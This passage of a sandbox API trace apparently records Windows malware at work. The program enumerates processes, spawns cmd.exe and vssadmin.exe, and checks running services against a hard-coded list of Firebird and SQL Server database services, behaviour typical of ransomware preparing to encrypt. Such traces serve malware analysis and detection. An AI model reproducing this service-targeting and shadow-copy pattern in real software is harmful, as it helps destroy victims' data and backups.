lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotesrouting.exe")) returned 1 [0060.201] lstrlenW (lpString="promotesrouting.exe") returned 19 [0060.201] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rxcalled.exe")) returned 1 [0060.201] lstrlenW (lpString="rxcalled.exe") returned 12 [0060.201] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="off.exe")) returned 1 [0060.202] lstrlenW (lpString="off.exe") returned 7 [0060.202] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mayorintl.exe")) returned 1 [0060.203] lstrlenW (lpString="mayorintl.exe") returned 13 [0060.203] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gzip-june.exe")) returned 1 [0060.203] lstrlenW (lpString="gzip-june.exe") returned 13 [0060.203] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsnavy.exe")) returned 1 [0060.204] lstrlenW (lpString="lsnavy.exe") returned 10 [0060.204] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing-scott-que.exe")) returned 1 [0060.204] lstrlenW (lpString="placing-scott-que.exe") returned 21 [0060.204] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="specifications.exe")) returned 1 [0060.205] lstrlenW (lpString="specifications.exe") returned 18 [0060.205] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soup-mario.exe")) returned 1 [0060.205] lstrlenW (lpString="soup-mario.exe") returned 14 [0060.206] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cultures-possession-please.exe")) returned 1 [0060.206] lstrlenW (lpString="cultures-possession-please.exe") returned 30 [0060.206] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="platformsprivate.exe")) returned 1 [0060.207] lstrlenW (lpString="platformsprivate.exe") returned 20 [0060.207] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valve tabs intelligent.exe")) returned 1 [0060.207] lstrlenW (lpString="valve tabs intelligent.exe") returned 26 [0060.207] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bangkok-updates.exe")) returned 1 [0060.208] lstrlenW (lpString="bangkok-updates.exe") returned 19 [0060.208] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scan-allows.exe")) returned 1 [0060.208] lstrlenW (lpString="scan-allows.exe") returned 15 [0060.208] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mwprovince.exe")) returned 1 [0060.209] lstrlenW (lpString="mwprovince.exe") returned 14 [0060.209] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hired_reality_again.exe")) returned 1 [0060.210] lstrlenW (lpString="hired_reality_again.exe") returned 23 [0060.210] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharonphonedebut.exe")) returned 1 [0060.210] lstrlenW (lpString="sharonphonedebut.exe") returned 20 [0060.210] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacting.exe")) returned 1 [0060.211] lstrlenW (lpString="contacting.exe") returned 14 [0060.211] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="continues_does_laos.exe")) returned 1 [0060.401] lstrlenW (lpString="continues_does_laos.exe") returned 23 [0060.401] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jpmanagers.exe")) returned 1 [0060.402] lstrlenW (lpString="jpmanagers.exe") returned 14 [0060.402] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="motor.exe")) returned 1 [0060.402] lstrlenW (lpString="motor.exe") returned 9 [0060.403] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="comboashleyalan.exe")) returned 1 [0060.403] lstrlenW (lpString="comboashleyalan.exe") returned 19 [0060.403] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toshiba.exe")) returned 1 [0060.404] lstrlenW (lpString="toshiba.exe") returned 11 [0060.404] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0060.405] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0060.405] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0060.405] lstrlenW (lpString="mobsync.exe") returned 11 [0060.406] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0060.406] lstrlenW (lpString="3G6885.exe") returned 10 [0060.406] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x99c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0060.407] lstrlenW (lpString="cmd.exe") returned 7 [0060.407] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0060.408] lstrlenW (lpString="conhost.exe") returned 11 [0060.408] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0060.408] lstrlenW (lpString="vssadmin.exe") returned 12 [0060.408] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0060.409] lstrlenW (lpString="VSSVC.exe") returned 9 [0060.409] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.410] lstrlenW (lpString="svchost.exe") returned 11 [0060.410] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0060.411] CloseHandle (hObject=0x1f8) returned 1 [0060.411] Sleep (dwMilliseconds=0x1f4) [0061.928] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x63ffb8 [0061.928] EnumServicesStatusExW (in: hSCManager=0x63ffb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 0 [0061.928] GetLastError () returned 0xea [0061.929] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x12c6) returned 0x3f00060 [0061.929] EnumServicesStatusExW (in: hSCManager=0x63ffb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f00060, cbBufSize=0x12c6, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f00060, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 1 [0061.929] CloseServiceHandle (hSCObject=0x63ffb8) returned 1 [0061.929] lstrlenW (lpString="Appinfo") returned 7 [0061.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0061.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0061.930] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0061.930] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0061.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0061.930] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0061.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0061.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0061.930] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0061.930] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0061.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0061.930] lstrlenW (lpString="AudioSrv") returned 8 [0061.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0061.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0061.930] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0061.930] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0061.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0061.930] lstrlenW (lpString="BFE") returned 3 [0061.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0061.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0061.930] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0061.930] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0061.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0061.930] lstrlenW (lpString="CryptSvc") returned 8 [0061.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0061.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0061.930] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0061.930] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0061.930] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0061.930] lstrlenW (lpString="CscService") returned 10 [0061.930] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0061.930] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0061.931] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0061.931] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0061.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0061.931] lstrlenW (lpString="DcomLaunch") returned 10 [0061.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0061.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0061.931] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0061.931] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0061.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0061.931] lstrlenW (lpString="Dhcp") returned 4 [0061.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0061.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0061.931] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0061.931] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0061.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0061.931] lstrlenW (lpString="Dnscache") returned 8 [0061.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0061.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0061.931] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0061.931] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0061.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0061.931] lstrlenW (lpString="DPS") returned 3 [0061.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0061.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0061.931] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0061.931] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0061.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0061.931] lstrlenW (lpString="eventlog") returned 8 [0061.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0061.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0061.931] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0061.932] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0061.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0061.932] lstrlenW (lpString="EventSystem") returned 11 [0061.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0061.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0061.932] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0061.932] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0061.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0061.932] lstrlenW (lpString="gpsvc") returned 5 [0061.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0061.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0061.932] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0061.932] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0061.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0061.932] lstrlenW (lpString="iphlpsvc") returned 8 [0061.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0061.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0061.932] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0061.932] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0061.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0061.932] lstrlenW (lpString="LanmanServer") returned 12 [0061.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0061.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0061.932] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0061.932] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0061.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0061.932] lstrlenW (lpString="LanmanWorkstation") returned 17 [0061.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0061.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0061.932] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0061.932] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0061.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0061.933] lstrlenW (lpString="lmhosts") returned 7 [0061.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0061.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0061.933] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0061.933] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0061.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0061.933] lstrlenW (lpString="MMCSS") returned 5 [0061.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0061.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0061.933] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0061.933] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0061.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0061.933] lstrlenW (lpString="MpsSvc") returned 6 [0061.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0061.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0061.933] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0061.933] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0061.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0061.933] lstrlenW (lpString="Netman") returned 6 [0061.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0061.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0061.933] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0061.933] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0061.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0061.933] lstrlenW (lpString="netprofm") returned 8 [0061.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0061.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0061.933] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0061.933] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0061.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0061.933] lstrlenW (lpString="NlaSvc") returned 6 [0061.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0061.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0061.934] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0061.934] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0061.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0061.934] lstrlenW (lpString="nsi") returned 3 [0061.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0061.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0061.934] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0061.934] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0061.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0061.934] lstrlenW (lpString="PcaSvc") returned 6 [0061.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0061.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0061.934] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0061.934] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0061.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0061.934] lstrlenW (lpString="PlugPlay") returned 8 [0061.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0061.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0061.934] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0061.934] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0061.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0061.934] lstrlenW (lpString="Power") returned 5 [0061.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0061.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0061.934] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0061.934] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0061.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0061.934] lstrlenW (lpString="ProfSvc") returned 7 [0061.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0061.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0061.935] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0061.935] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0061.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0061.935] lstrlenW (lpString="RpcEptMapper") returned 12 [0061.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0061.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0061.935] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0061.935] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0061.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0061.935] lstrlenW (lpString="RpcSs") returned 5 [0061.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0061.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0061.935] lstrcmpiW (lpString1="sqlwriter", 